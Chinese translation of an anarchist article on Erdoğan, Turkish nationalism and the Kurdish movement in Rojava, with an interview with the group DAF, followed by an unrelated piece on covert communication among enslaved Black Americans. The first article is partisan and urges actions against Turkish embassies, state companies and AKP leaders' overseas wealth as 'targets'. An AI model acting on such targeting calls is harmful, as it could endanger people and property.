优势之一 —— 最终也没能提供一个明确的方法，让参与者在从塔克西姆广场散去后重新聚在一起；各政治派别再次退回到各自的意识形态贫民区里。尽管如此，盖齐起义至今仍然活在许多人的记忆中，即使政变未遂后公共政治的束缚使人们难以公开谈论它。

政变失败后，埃尔多安甚至把盖齐起义说成是另一个不成功的政变。虽然不可能按照盖齐起义的理想组织起来，但政变企图使埃尔多安能够形成一种新的说法，即 他和他的政府正在 “保护土耳其免受内部和外部威胁”。对反对军队而牺牲的公民 “烈士" 的公开展示和歌颂，以及反映2016年7月15日事件的桥梁、公园、大道和许多其他公共场所的重新命名，目的是让失败的政变在土耳其人的心理上继续存在，营造一种面对 "外敌” 的民族团结感。土耳其各地小镇上涌现出的众多七一五烈士公园之一的开幕式。这座比莱吉克的公园有一个博斯普鲁斯大桥的微缩模型 —— 现在也被命名为七一五烈士大桥 —— 这是2016年7月15日政变企图的焦点。

未遂政变后的几年里，埃尔多安加紧了对国家的政治控制。同时，这也使他更加孤立和脆弱，迫使他寻找新的政治盟友 —— 主要是极端民族主义的民族主义行动党（MHP），该党目前与AKP保持着脆弱的联盟关系。

这个联盟体现了将土耳其民族主义和伊斯兰教综合起来的长期努力。这是今天埃尔多安政权的主导政治意识形态；在AKP的集会上和在罗贾瓦的土耳其圣战代理人中都能看到的手势徽章就是最好的例证。一边是法西斯主义的MHP的灰狼标志；另一边是拉比亚的四个手指，这是埃尔多安为声援埃及穆斯林兄弟会而推广的。它代表了AKP法西斯主义的四大支柱：一个民族、一面旗帜、一个家园、一个国家。2018年2月，土耳其军队抛出代表法西斯主义的灰狼组织和伊斯兰教的拉比亚的手势，占领了罗贾瓦西部的阿夫林。

入侵前，埃尔多安对权力的控制力已经开始下滑。尽管埃尔多安强迫重新投票，但中左翼民族主义的共和人民党（CHP）候选人还是赢得了伊斯坦布尔市长选举 —— 还是赢两次，而且第二次的优势更大，这对AKP来说是一个打击，部分原因是来自强硬民族主义的“好党”（IYI）的支持和 HDP 的隐性支持。同时，一些 AKP 的长期成员，包括一些创始人，已经脱离了埃尔多安，正在考虑组建一个或多个新的党派。民族主义行动党（MHP）的前成员也开始了同样的内部分裂。

纵观世界上所有的独裁者 —— 博索纳罗、杜特尔特、特朗普、普京、习近平、塞西和欧尔班，更不用说那些尚未上台的有抱负的煽动

者了 —— 可以说，除了普京之外，只有埃尔多安是最初的政治强人。埃尔多安和其他暴君们都在互相颂扬： 欧尔班叫嚣着 "土耳其有一个具有强大合法性的领导人"，而特朗普在提到习近平的终身任命时说："看，他能做到这一点，我认为这很好，也许我们有一天也能试试看。”

同样，从美国到菲律宾的革命者必须从土耳其发生的事情中得到学习。我们应该分析国家右翼团体内部的联盟，即使它们表面上很脆弱；应该研究构成国家的各个派别的政治意识形态；最重要的是，我们必须发现如何在它们之间的裂缝中打入楔子，以推翻它们共同组成的结构。一方面，我们必须了解民族主义和宗教原教旨主义是如何被调动起来相互加强的，因此我们可以在这些联盟导致我们无法组织和行动之前，破坏这些联盟。另一方面，我们必须向最容易受民族主义和原教旨主义混合影响的人口群体传达另一种社会愿景。2005年，埃尔多安和埃夫伦在另一位将军努雷廷·埃尔森的葬礼上，埃尔森是1980年9月12日政变的幕后推手。

库尔德人的斗争仍在继续

「图」

土耳其和叙利亚边境上的库尔德人运动已多次证明有能力重塑自己，以战胜其敌人。该运动的合法政党 —— 人民民主党（HDP）的最新迭代，吸引了土耳其西部广大左翼的想象，首次与该国传统库尔德地区以外的进步力量建立了某种统一战线。虽然规模有限，但该党的相对政治成功对AKP的统治地位提出了严峻挑战。但是，库尔德自由运动最近取得的最大收获发生在叙利亚内战北部战线上的罗贾瓦。

当AKP首次掌权时，库尔德运动的部分人士和自由主义左派最初都抱有一定程度的错位希望，认为它可能最终会削除土耳其国家的民族主义遗产。埃尔多安的崛起标志着对古典土耳其政治的背离；像库尔德人这样在历史上受到压迫的群体，在残酷的民族主义同化的官方政策下长期被剥夺基本自由，会保持谨慎乐观是可以理解的。此外，一个和平进程开始了，承认阿卜杜拉·奥贾兰是该进程的一方，他被完全隔离在岛上的监狱中。这些乐观的曙光很快就消失了，因为AKP在2015年6月的大选中落败后，认为HDP是对其霸权的政治威胁。为了应对这一事态发展，埃尔多安通过一条众所周知的来自叙利亚北部的圣战管道部署战斗人员，以对抗土耳其的库尔德人运动。奥贾兰在2013年的和平进程中拜访了现已被监禁的前人民民主党（HDP）联合主席塞拉哈廷·德米尔塔什（Selahattin Demirtaş）和现任联合主席佩文·布林

丹（Pervin Buldan）。

罗贾瓦的库尔德运动所进行的社会革命在各种激进的媒体上得到了广泛的赞誉；更多的主流媒体和企业媒体都对其军事能力进行了赞扬，以至于没有必要在这里重新审视它了。需要了解的是，土耳其的政治与叙利亚的危机紧密相连。罗贾瓦的革命不仅为土耳其的库尔德运动注入了活力，也迫使土耳其国家加强了镇压。在与叙利亚交界的一侧，土耳其国家为ISIS的武器和招募人员的流动提供了便利。在另一边，库尔德人在土耳其自治的梦想被重新激活；在罗贾瓦被赋予生命的思想继续激励着全世界的革命者。与YPG和YPJ并肩作战的国际志愿者以及对入侵罗贾瓦的国际声援的涌现，都是这种热情的最好例证。

伊斯兰主义意识形态首先通过葛兰主义会众被引入土耳其的军事结构，并通过与活跃在叙利亚战争中的团体新建立的关系进一步渗透。在2015年夏天对库尔德人据点长达数月的入侵中，这些团体的存在是有目共睹的。土耳其军队留下的伊斯兰教涂鸦应该能说服任何对此有疑问的人。土耳其军队在2015年夏天占领努赛宾后留下的涂鸦："有真主，就没有悲伤"。"真主保护土耳其人"。

自杀式炸弹袭击者专门针对那些试图在土耳其人和经历土耳其军事占领的库尔德人之间建立团结的人。第一次这样的自杀式爆炸袭击发生在2015年7月，目标是苏鲁奇市的一个左派青年代表团，他们试图前往科巴尼，将玩具送给这个被战争蹂躏的城市的儿童。那次袭击造成33人死亡。可笑的是，国家以此为借口发动了前面提到的2015年夏天的全面攻击。更为致命的是对抗议库尔德地区战争的游行的轰炸；这发生在2015年10月10日的土耳其首都安卡拉，造成109人死亡。在这两起案件中，袭击者都是与ISIS有关联的土耳其小组，他们为国家所熟知，有时也得到国家的赞助。爆炸者所在城市阿德亚曼（Adıyaman）的警察部门和国家情报局（MIT）对他们进行了持续监控 —— 尽管有逮捕令，却没有逮捕或拘留他们。

AKP对库尔德人做出了一些小的让步，如建立一个国营的库尔德电视台，以及部分放宽对用库尔德语说话和唱歌的限制。但是，这些面包屑是散落在库尔德人能够为自己开辟的任何政治自治的灰烬之上的。甚至参与标准的议会或市政政治也变得几乎不可能。至少有十几名当选的议会成员与几十名市政当局的联合主席一起被监禁了。自2019年春季的最新市政选举以来，HDP联合主席在15个城市被迫下台，由安卡拉任命的新市长取代。

土耳其的民族主义者们很快就指出在土耳其社会享有特权地位的著名

库尔德人，就像他们的美国同行声称奥巴马的总统任期预示着一个后种族时代的美国的到来。少数人的突出地位并没有削弱库尔德人作为一个民族在历史上一直是土耳其的内部殖民地这一事实。在土耳其经济中，库尔德人一直在作为廉价的、被过度剥削的劳动力从事危险的"非技术” 工作 —— 例如，在服务部门的最低层作为最不稳定的、季节性的农民工，在建筑等行业作为可消耗的手工日结零工。在东部的库尔德领土上建造了大型水坝等破坏环境和文化的大型开发项目，以便向土耳其西部供应电力和其他商品。库尔德地区的公共服务和投资很少。在过去的几十年里，库尔德人进行了激烈的反击，但今天，至少在土耳其，他们所获得的任何自治权都在被侵蚀，同时，最近全国各地针对库尔德人的种族主义袭击也在激增。

不言而喻，库尔德人没有霸权主义的信仰体系：有些人比其他人更具有政治性，有些人更倾向于左翼，而在宗教方面，有些人是坚定的虔诚者，而其他人则不是。促成HDP选举成功的一个因素是，他们搁置了一些库尔德工人党的民族解放和马克思主义的言论，以吸引更广泛的库尔德选民。有一些库尔德人支持AKP，但对库尔德自由运动来说，更大的生存威胁是库尔德人中越来越多的人对感觉永无止境的冲突感到疲惫。即使他们不支持AKP，他们也对战争感到厌倦，对库尔德工人党的战略失误感到伤心。HDP 的议员们想要为他们的年度大会散发传单；防暴警察的队伍阻止他们这样做。走在最前面的是加洛·佩兰，他是土耳其历史上第一位亚美尼亚议员。

政变未遂后，土耳其军队的重组也加剧了困扰库尔德人的危机。事实上，许多参与政变的高级指挥官也是**2015**年夏季和秋季在土耳其整个库尔德地区实施的野蛮军事入侵和宵禁的幕后推手，这导致了**4000**多人被屠杀。这些官员与政变的牵连使埃尔多安得以洗脱对大屠杀的责任，具有讽刺意味的是，刚刚领导镇压库尔德人和左派活动人士的葛兰主义检察官和法官与他们以前的对手一起接受国家镇压。无论从哪个角度看，整个司法和执法机构都是由葛兰主义者组成的，在政变失败后这些机构陷入了混乱。

2015年之前由葛兰派占据的军事领导职位再次落入葛兰派在AKP的帮助下清除的老派土耳其民族主义干部手中。这些干部至少和他们的前辈一样对库尔德运动充满敌意。在这方面，非常有可能的是，刚刚获得这些军事职位的土耳其民族主义者在鼓励最近入侵罗贾瓦的行动中发挥了作用。2015年夏秋季的围困期间，在阿米德（迪亚巴克尔）的苏尔反叛社区留下的涂鸦。“真主是你所需要的一切 —— 你将看到土耳其人的力量”。 署名是 "Esedullah Team"，这是一个以前不为人知的准军事编队，与土耳其军队一起行动。当地目击者称，他们用阿拉

伯语讲话，并喊出了伊斯兰教的口号。

对罗贾瓦的入侵和随之而来的战时动员，有效地压制了任何表面上的主流政治反对派。最近一项为入侵开绿灯的议会决定得到了除库尔德人领导的HDP之外的所有政党的批准。来自CHP的孤独政治家或其他政治人物，如果对埃尔多安的殖民野心表示反对，就肯定会受到媒体和司法机构的连番攻击。

在他的自大狂中，埃尔多安经常把自己比作某种新奥斯曼帝国的苏丹，对该地区有着帝国主义的野心。这需要一定程度的肌肉弯曲，即使没有长期战略。但将叙利亚北部改造成一种依赖土耳其的代理人的战略为埃尔多安提供了某些优势。长期以来，土耳其的经济和货币一直处于崩溃的边缘。叙利亚北部的战争经济以及建设和发展项目可能会避免不可避免的情况，至少暂时如此。2008年，埃尔多安在土耳其地中海度假城市博德鲁姆的家庭度假期间向阿萨德致意。

与此同时，土耳其是300多万叙利亚难民和不知名的数千名圣战分子的家园，他们在土耳其和叙利亚境内由土耳其国家开办的营地中得到庇护和正式训练。所有主流政党都在煽动针对叙利亚难民的种族主义以争取选票。AKP也一直在将叙利亚难民作为经济衰退的替罪羊 —— 最新数据显示土耳其的失业率接近14%。用来自叙利亚其他地区的难民重新填充罗贾瓦，不仅会使库尔德人流离失所，还会迎合土耳其西部城市（如伊斯坦布尔）对叙利亚人的种族主义，反对派也与这种种族主义有关。

入侵的根本原因是土耳其国家 —— 无论哪个执政党 —— 与争取自治和作为一个民族群体得到承认的库尔德人之间根深蒂固的敌意。最近，在土耳其境内的库尔德工人党已经或多或少地被消灭了，现在是埃尔多安在库尔德人自由运动最强大的地方，即罗贾瓦解放区发动战争的时候了。2015年10月10日，安卡拉，在呼吁土耳其库尔德地区和平的反战示威中发生自杀式爆炸的时刻。

土耳其的反对派政治和今天的团结

「图」

美国突然而又漫长的撤离为俄罗斯打开了空间，使其几乎完全控制了叙利亚的实地局势。如果土耳其还想有发言权，那么它现在就得听从俄罗斯帝国主义的安排。埃尔多安已经发现自己要在美国的F-35战斗机合同（现在已经取消了）和地对空的S-400俄罗斯导弹防御系统之间做文章，该系统已到位但尚未投入使用。鉴于土耳其仍然是一个北

约国家，它发现自己不得不与俄罗斯同行进行一种越来越不稳定的平衡行为。在叙利亚当地的权力转移只会使问题进一步复杂化。

最终，土耳其将不得不重新承认阿萨德政权，而没有目前允许其保住面子的俄罗斯调解。在冲突线的另一边，过去五年罗贾瓦革命成果能否存续将取决于库尔德运动如何在险恶的地缘政治环境中航行，同时促进国际团结。到目前为止，库尔德团体已经表现出对不断变化的地缘政治动态的精明理解，在起伏中生存下来，并逐渐在国际舞台上崭露头角。在短期内，情况是令人绝望的，但也许长期的游戏不会有那么大的灾难性。尽管如此，我们的视野被战争的迷雾所遮蔽，很难做出这样的预测。革命公社党/联合自由力量（BÖG）的戈泽·阿尔图诺兹（Göze Altunöz）在前往罗贾瓦与YPG/YPJ并肩作战之前，分发反对致命工伤事故的传单，传单上描述为 "工伤谋杀"。她于2019年11月6日丧生。

革命公社党/联合自由力量（BÖG）的亚辛·艾登（Yasin Aydın）在前往罗贾瓦与YPG/YPJ并肩作战之前，分发反对工伤事故的传单，传单上描述为 "工伤谋杀"。他于2019年11月6日被杀害。

国内反对埃尔多安的潜力有多大？再加上集中在其总统职位上的特殊权力，政变后的政治、社会和心理环境使得镇压在整个土耳其占据了主导地位。即使把在叙利亚发生的事情说成是 “入侵" 或 "战争"，也会让你在当局那里遇到麻烦。说你反对最近对罗贾瓦的入侵并支持和平，就足以让你被捕。言论自由是不存在的；互联网在很大程度上被审查。持反对意见的记者如果幸运的话，会收到一打的法庭传票。同样经常的是，他们直接被监禁，有时甚至没有指控。

无政府主义者和激进分子最近能够在土耳其开辟出一些空间，甚至成功组织了游行 —— 例如，反对最近的金矿开采项目。妇女运动仍然坚定不移地组织每年一度的大规模三八节示威。仍有少量的劳工激进主义。但是，在表达对库尔德人的声援时，任何来自国家的 “宽容" 都会被抛之脑后。事实上，国家最近从监狱中释放了一些持反对意见的资产阶级记者和知识分子，并似乎接受了宪法法院的决定，撤销了针对近1000名主要是非库尔德人的学者的案件，这些学者在2015年针对库尔德人城市的占领和军事行动中签署了一份和平请愿书。这种所谓的 “宽恕" 起到了警告任何潜在反对派的作用，因为他把重点放在库尔德人的威胁上。

不幸的是，就目前而言，为反对这场战争所做的一切，而且还是冒着巨大的风险，就是表达对入侵罗贾瓦的反对。除了在主要是库尔德人的省份和土耳其西部城市反叛的民众社区的小规模活动外，几乎没有

发生直接行动和示威。这些英勇的抵抗行动也几乎在瞬间就遭到了土耳其国家的残酷镇压。

根据一项民意调查，75%的人口支持入侵罗贾瓦 —— 但这意味着仍有至少四分之一的人口反对入侵，其中许多人仍在声援库尔德人的斗争，并继续尽可能地参与其他各种激进和革命项目。土耳其左翼的一些部分已经加入了自卫队，拥有自己的战斗部队。不过，由于国家的压制，大多数反对战争的人目前仍无法在土耳其境内有效行动。这给人的印象是，整个土耳其都支持战争，反对库尔德人的自治。

HDP 的部分构想是通过与集中在土耳其西部的土耳其进步人士建立共同的斗争来支持库尔德人的运动。如上所述，这个项目在实现其目标方面取得了一些进展，但目前的情况说明了为什么库尔德人的解放首先取决于他们自己的组织和力量。在野兽的腹地进行抵抗：盖齐抵抗运动，2013年6月。

针对土耳其国家机关的行动，如他们的大使馆和土耳其航空公司等国有企业，将保持压力，同时表达对库尔德人和土耳其其他激进组织的重要声援。在过去的**15**年里，政治裙带关系填满了**AKP**政客及其家人的口袋，由于土耳其经济的不稳定，这些钱有很大一部分流向了海外。研究**AKP**领导人和高层干部的个人财富被投资在哪里，可以为团结行动提供新的目标。

一些老左派坚持他们所谓的反帝国主义，以反对美帝国主义的名义有效支持了土耳其殖民主义和俄罗斯帝国主义。考虑到库尔德运动在世界最困难的政治领域之一，面对多个帝国主义大国的野心，尽管被美国政府和许多其他国家双重欺骗，为生存而进行的绝望斗争，这种立场越来越荒谬。无政府主义者应该表现出严肃而批判的声援，而不要被库尔德有组织力量不得不与敌人的敌人、敌人的朋友、甚至是他们的实际敌人建立的脆弱联盟所迷惑，希望能避免圣战分子的屠杀，避免土耳其支持的种族灭绝。声援库尔德人的自由运动并不意味着支持美国军队或帝国主义，而是意味着尊重人们在面临被消灭的威胁时做出的艰难决定。

最后，许多土耳其和库尔德同志被流放出土耳其，但在政治上仍然活跃。很难估计有多少政治难民逃离了土耳其，但作为此类流亡者的主要目的地，德国的移民趋势提供了一个很好的指示。自2015年未遂政变以来，德国每年来自土耳其公民的庇护申请增加了10倍，在2018年达到了近11,000份申请。在德国和英国等历史上曾组织过土耳其和库尔德运动的国家之外，持不同政见者可能会发现自己被孤立，或不知道如何继续斗争。各地的无政府主义者应主动为流亡者创造空间。

在共同项目的合作中，国际支持者将更多地了解该地区的想法和发展，而流亡者将获得新的网络和手段来继续他们的斗争。学习库尔德人的民主邦联主义、自治和**jineoloji**（妇女科学）的建议，并实施适用于当地的任何经验教训，是一种有效的团结形式，超越了对土耳其侵略的紧急反应 —— 尽管这是必要的。塔克西姆广场，伊斯坦布尔，2013年6月。今天，革命潮流在土耳其受到压制，但这不会永远持续。

盖齐抵抗运动部分参与者

「图」

Carşı

「图」

Carşı 是贝西克塔斯足球队的主要球迷俱乐部，他们背后有30年的历史。尽管他们的标志中有A圈（以前的版本还带有锤子和镰刀），但他们并不认同无政府主义；A圈只是代表他们的 "反叛精神”。

Carşı 将自己定义为 “非政治性的”，即不支持任何政党或意识形态，但他们有参加五一节和反战示威的历史，并在他们的体育场里打开政治横幅。

他们的主要口号之一是 "CARŞI：反对一切，包括自己！” **Carşı** 在抵抗期间获得了很多尊重，既因为他们在街头战斗中的勇敢，也因为他们为伊斯坦布尔所有三个主要俱乐部的足球迷提供了一个团结起来对抗警察的空间，把他们之前彼此间的敌意放在了一边。当年6月8日，来自伊斯坦布尔三个主要俱乐部的球迷聚集在塔克西姆广场，进行了一次庆祝性的力量展示。

无政府主义者

「图」

无政府主义者是盖齐抵抗运动的组成部分，他们提供了塑造公园公社的预设政治形式，并参与到与警察斗争的最前沿。除了小型团队，最有组织的无政府主义团体是DAF —— 革命无政府主义行动 —— 尽管运动的突然出现让他们和其他人一样震惊。

他们在入口处设立了自己的空间，一边是反资本主义的穆斯林，另一边是库尔德人的BDP和PKK。在伊斯坦布尔经营三个社会空间，他们能够在自我组织方面提供后勤支持，还组织了关于全世界无政府主义斗争的研讨会和活动。

LGBT Blok

「图」

LGBT社区作为盖齐抵抗运动的光辉成员之一，在每一步都超越了自己。他们压制了占领公园的一部分，并在一些最关键的战斗中在街垒上作战，在一个传统的大男子主义和同性恋恐惧症的社会中，他们的思想被认为是被动的和懦弱的，尽管有各种相反的例子。

一年一度的 "自豪周" 就发生在公园被驱逐之后，并在保持人们在街头的活动中发挥了重要作用。骄傲游行吸引了比以往更多的人：这是第一个例子，说明由于盖齐的存在，土耳其的运动可以依靠更大的数量和能量。

反资本主义的穆斯林

「图」

反资本主义穆斯林的口号是 "真主、面包、正义"，他们挑战了AKP的伊斯兰新自由主义和盖齐抵抗运动中一些人的保守世俗主义。

他们在2012年的五一节庆祝活动中出现，借鉴了伊朗伊斯兰学者阿里·沙里亚蒂的思想潮流。他们在公园组织了周五祈祷和其他伊斯兰庆祝活动，以打击埃尔多安推行的 "虔诚与罪恶" 的两极化。

他们最成功的举措之一发生在斋月的开始，斋月在盖齐被驱逐的几周后开始。作为对政府赞助的日落时分打破斋戒的奢华盛宴的回应，他们组织了 "土桌"。在整个斋月期间，全国各地成千上万的人在铺在地上的报纸上一起破戒，有时他们直接面对水炮。反资本主义的穆斯林在盖齐公园举行周五祈祷。

左派工会

「图」

DISK和KESK是在70年代和80年代的斗争中产生的两个左派工会联

盟。DISK是1977年在塔克西姆广场举行的五一示威的主要组织者，该示威成为了被准军事部队屠杀的场所。

这两个联盟都支持盖齐抵抗运动，试图用罢工的呼吁来补充它。尽管在起义期间确实发生了两次这样的罢工，但它们在破坏国民经济方面完全无效；再次显示了传统形式的工会在现代阶级构成格局中的无能为力。

Müşterekler（我们的共享空间）

「图」

这是一个代表伊斯坦布尔各种城市斗争的伞式团体。他们中的许多成员属于一个正在萌芽的反权威左派团体，参与了移民权利保护、生态斗争和对抗城市的封闭。

他们早在斗争爆发前就参与了保卫盖齐公园不被开发，由于他们在对城市权利活动感兴趣的人中已经有了广泛的网络，他们是公园内最有组织的后勤团体。他们试图通过收回封锁区内的一块废弃的土地来进一步推动运动。

与其他许多团体一样，他们在2013年6月后变得更加强大，有了新的项目，包括每周新闻简报和海盗电台Gezi Radio（www.geziradyo.org）。占领盖齐公园的地图。

伊斯坦布尔市中心的地图，东边是博斯普鲁斯海峡。

附录： 对土耳其革命无政府主义行动组织的简短采访

「图」

2013年夏天，我们采访了土耳其革命无政府主义行动组织（Devrimci Anarşist Faaliyet，简称DAF），了解在盖齐公园开始的起义。在2014年再次采访他们，谈及科巴内的保卫战以及DAF与当时在罗贾瓦展开的自治实验之间的团结组织。从那时起，已经发生了很多事。在土耳其入侵罗贾瓦（尽管有假的停火协议，但仍在进行中）之后，我们再次采访了DAF的一名参与者，以了解今天土耳其的无政府主义者的状况如何。

从历史上看，土耳其无政府主义者和土耳其的库尔德组织之间是什么关系？

首先，"土耳其无政府主义者” 不是一个描述生活在这里的自称无政府主义者的人的有用术语。在这些土地上（还有组织中）有来自不同民族的人。库尔德人几十年来一直在与这个地区的各种暴政作斗争，所以**DAF**的团结关系就是与人民的解放斗争的团结关系。

罗贾瓦革命和科巴内保卫战将 "库尔德人的抵抗” 问题提上了全世界无政府主义者的议程，但对DAF来说，我们的团结关系开始得更早。可以追溯到2009年DAF成立的时候。此外，这不仅仅是一个团结的问题。库尔德斯坦的战争和同化的国家政治战略已经存在了很长时间。因此，一个生活在这个地区的无政府主义者需要在这个问题上进行分析和表态。我们的立场一直很明确：反对国家的暴政，我们站在正在抵抗的人民一边。

基于这种观点，我们在抗议活动中表达了我们的声援，并与库尔德自由运动一起加入冲突。我们一次又一次上街庆祝纳吾肉孜节[库尔德新年]，并参加大屠杀的纪念活动。不仅仅是为了表示声援，还因为这是我们作为无政府主义者的责任和行动的一部分。

我们还参与组织了土耳其的依良心拒服兵役运动。在这个问题上，作为一个拒服兵役者也很重要，因为战争是由军方制造的。因此，我们正在努力在该地区传播出于良心的抵抗。2014年，DAF的成员在土耳其/叙利亚边境参与了声援工作。

在土耳其，无政府主义者和其他持不同政见者现在的状况如何？无政府主义者仍在进行哪些活动？

特别是在政变审判和紧急状态之后，对革命者的镇压有所增加。政府在政治上利用紧急状态来加强其权力。

现在，被送进监狱是非常容易的。通过社交媒体分享一些东西，就足以被送进监狱了。对出版物的压制仍然是一个主要问题。如果当局不喜欢一篇文章，很容易禁止一整本杂志。许多作家和编辑现在因为他们发表的东西而被关进监狱。

任何形式的抗议都只能按照警察的意愿和管理来进行，因此也就是按照国家的意愿和管理来进行。任何与库尔德问题有关的抗议活动都是不允许的。任何人都不能对战争进行抗议、写作或评论。

这些就是我们试图组织和传播无政府主义思想的情况。

我们的报纸已经被禁止了一段时间，因为被指控 "进行恐怖主义宣

传"。我们的一些作家和发行人员被判刑，一些同志因参加抗议活动而被判刑。由于警察的镇压，我们组织的主要经济支柱 —— 两家集体咖啡馆面临困难。依良心拒服兵役的同志们也面临着困难。

在土耳其，有没有人公开反对入侵罗贾瓦的行为？

一般来说，当局禁止和攻击任何形式的抗议战争。

土耳其实行征兵制。是否有反对征兵和军国主义的运动？

我已经描述了依良心拒服兵役运动的政治观点。DAF是依良心拒服兵役协会的建立者之一。反军国主义运动确实很重要，因为我们是在这样一个军国主义的国家中行动。

我们对反军国主义运动的参与和我们的运动本身一样古老。男子在20岁时就要被迫参军。协会组织了依良心拒服兵役的运动，宣传和调查军队中可疑的谋杀案，并通过司法程序支持依良心拒服兵役者。

从我们的角度来看，国家的军国主义暴力和人民的自由斗争之间存在着根本的区别。我们不能把国家的暴力与任何抵抗斗争相提并论。此外，与一些自称为红军的社会主义组织不同，库尔德组织自称为自卫队而不是军队。

土耳其的库尔德人现在的情况如何？

现在的生活状况比以往任何时候都更艰难。不可能采取任何形式的行动。国家的法西斯宣传继续通过它自己的媒体和所谓的反对党进行。文化同化的压力和针对库尔德人的政治压迫非常强烈。

你认为埃尔多安入侵的直接目标是什么？你认为他是如何实现这些目标的？

当我们在谈论中东这个地区时，很难理解或预测战略。他们违背美国和其他西方盟友的意愿进行了入侵。很明显，美国不是罗贾瓦库尔德人的盟友。这就是中东政治的现实。

具体来说，国家正在利用战争来实现内部政治目标。所以这也是他们战略的一部分。埃尔多安及其政府建立的紧急状态危及到他们的政治权力。唯一能使他们的权力合法化的就是选举，所以他们正在努力培养民族主义、军国主义的浪潮，以维持他们的 "合法性"。

□□

The Roots of Turkish Fascism

原文

百年的自由之战：密文作为抵抗的语言 - iyouport

免费书和纪录片反抗者-寻求经验

当权者的一切手段都旨在打散我们，让我们彼此分离、互相猜忌，无法利用我们的庞大基数形成势不可挡的反抗力量。自古以来，那些恶霸权势都是这样巩固其权力地位的 …… 所以 ……

【按】他们不被允许识字，书写任何东西都是危险的；他们不被允许习武，任何有战斗力的行为都是被禁止的；他们没有互联网，没有加密技术，没有武器，但他们与我们一样，遭受着强大的、无孔不入的和持久的恐怖级监视。然而，他们依旧取得了惊人的成功，营救出无数被迫害的人，推动反抗斗争的历史车轮一路抵达今天。

究竟什么是最危险的和不可逾越的障碍？监视和审查？暴力镇压和渗透间谍？低文化水平和手无寸铁？…… 可能都不是，真正不可逾越的障碍是虚无主义心态，只有当你放弃反抗的时候，才是彻底失败的时候。

当权者的一切手段都旨在打散我们，让我们彼此分离、互相猜忌，无法利用我们的庞大基数形成势不可挡的反抗力量。自古以来，那些恶霸权势都是这样巩固其权力地位的；因为他们知道，当成千上万个“普通人”站在一起时，就是最强的巨人。

所以，对反抗者来说，保持连接关系和互信能力是最基本的和最有效的战术，在此之上，一切才有可能。

只要反抗者能够保持连接和互信，再强大的监视也无法撼动你们追求自由的决心；只要您的队伍能坚持遵守“安全文化”，再恶劣的渗透也难以拆散你们。

反抗在任何国家任何时代都是充满风险的，但是，在任何时候也都是最重要的和充满乐趣的，没有比坚守希望更加幸福和令人兴奋的事

了，愿您的创造力能够或已经带来了成功的奖励。

本文中涉及到的书籍您可以在这里下载：https://www.patreon.com/posts/bai-nian-de-zi-48363264

每年的2月1日 ~ 3月1日是黑人历史月 (Black History Month)，它起源于1926年，全国范围内的学校和社区都会响应这一活动 —— 旨在回顾历史、延续反抗精神。

📌 这段历史与政府的监控和压迫、公民的抵抗精神和组织智慧密切相关。尽管像COINTELPRO这样的极端监视项目现在更加为人们所熟知，但是，相关故事的另一面则是黑人社区自己通过错综复杂的网络和通讯来回击政府压迫的方式，目的就是抵制监视。

【注：COINTELPRO是 Counter Intelligence Program（反情报计划）的缩写，由FBI于1956年发起，一直持续到1971年。该计划是系统性的监视镇压，以所谓的 “国家安全” 的名义渗透、监视和破坏任何反抗运动。】

在当下这个高科技监视审查史无前例的灾难时期，这种延续了上百年的抵抗精神应该被所有人了解。

隐蔽的地下网络

「图」

跨大西洋奴隶贸易是美洲大部分地区历史上一个黑暗且残酷的时期。今天，奴隶制的恐怖仍然通过系统性的种族主义投下阴影。受奴役的非洲人在试图组织起来进行斗争时面临的最大障碍之一就是，他们所有人都受到密切监视，同时还被彼此隔离分开、被虐待、被折磨，并被带到异国他乡强迫劳动，直到他们死去。

他们经常说着不同的语言，有着不同的文化和信仰。在这种条件下组织起来似乎是不可能的。

然而，即使在这样的极端恶劣条件下—— 包括霸道的持久监视状态下—— 他们也依旧发展出了一套反击的方式。这在很大程度上要归功于这些非洲人的聪明才智，在动产奴隶制下，他们利用自己的一切来发展彼此之间的交流，维持受迫害者之间的连接关系。

今天人们的持续斗争反映了许多从极端的审查和专制主义监视的历史

中延续保留下来的经验。

正如西尔维亚·迪乌夫在《奴隶制的流亡者》一书中所记载的那样，奴隶制不仅对许多非洲人来说是灾难性的，而且，对奴隶的白人主人和监工者来说，也从来没有过平静的日子。那些俘虏非洲人到美洲的人贩子，很少会给俘虏一个晚上的休息时间。在这个可怕的时期，为了寻求基本自由而进行的反叛和抵抗从未停歇；而伴随着这个目标而来的，还有一段深厚的秘密通讯和反情报的历史。

逃亡者经常在夜间回到种植园，多年来都不被发现，大多是为了与家人保持联系或传递信息。正如迪乌夫所记录的，有一对夫妻，策划了一个简单而有效的信号系统 —— 妻子将一件衣服放在一个特定的地方，藏身于隐蔽处的丈夫可以看到，这就意味着一个共识的信息；如果天太黑看不清，就用比如一束强光从他们的船舱缝隙中瞬间照射，然后每隔两三分钟重复一次，连续三四次。就像信号灯那样，用不同的节奏频率发送特定的信号。

这些近距离的逃亡者被认为是 “Borderland Maroons”，他们会在一个种植园与另一个种植园之间建立紧密的通讯网络。诸如抓捕奴隶的赏罚金额等情报，会通过这些人的小道消息迅速传开。根据这些情报，许多人都会围绕着要么彻底远走高飞，要么在附近多呆一段时间的决定，来召集其他同道一起制定战术计划。

前 “大陆会议” 的佐治亚代表讲述道：

“黑人之间有着很好的交流情报的技巧，秘密消息可以在一周或两周内传递几百英里。”

【注：大陆会议是指美国创始十三州在1774年至1789年间组成的临时性联合议会，是为美国国会的前身。大陆会议与美国革命息息相关。】

这些传递消息的人往往在被囚禁多年后获得了逃亡，从而有能力（有经验）在被奴役者中维持一个连接网络。被允许在种植园外活动的马车夫、车夫、船夫、和其他人员是这个情报网络的骨干。边界地带的秘密网络是组织潜在逃亡者的进入点；所以即使有人被抓，以后也可以再次接入这个网络。正如迪乌夫所叙述的那样，保持高度的监视需要耗费奴隶主的大量资源，而这一事实被那些试图逃避奴役的反抗者很好地利用了。

【注：这是一个重要的战术，如今依然如此 —— 正如我们在 “完美隐

身” 中强调的，您的任务是拖垮对手，尽可能去消耗他们为了镇压您而必需消耗的东西，给对手制造更多的麻烦，越多越好，他们就会更快枯竭。您就赢了。】

领导者

「图」

也许这一时期最著名的秘密通信反抗者就是可敬的哈莉特·塔布曼 (Harriet Tubman)。她的品格和意志毋庸置疑，她无懈可击的战术时机和非凡的战略直觉，加强了这个地下铁路。

【注：哈莉特·塔布曼，美国的废奴主义反抗者和政治活动家。塔布曼出生时是奴隶，但她长大后得以逃脱，并利用反奴隶抗争组织的社会网络和 “地下铁路” ，发起了大约13次行动，并救出大约70名奴隶，包括她的家人和朋友在内。】

布莱恩·沃尔斯博士指出，塔布曼的许多书面和口头交流都是通过极为普通的语言进行的，但其中蕴含着隐喻的作用：

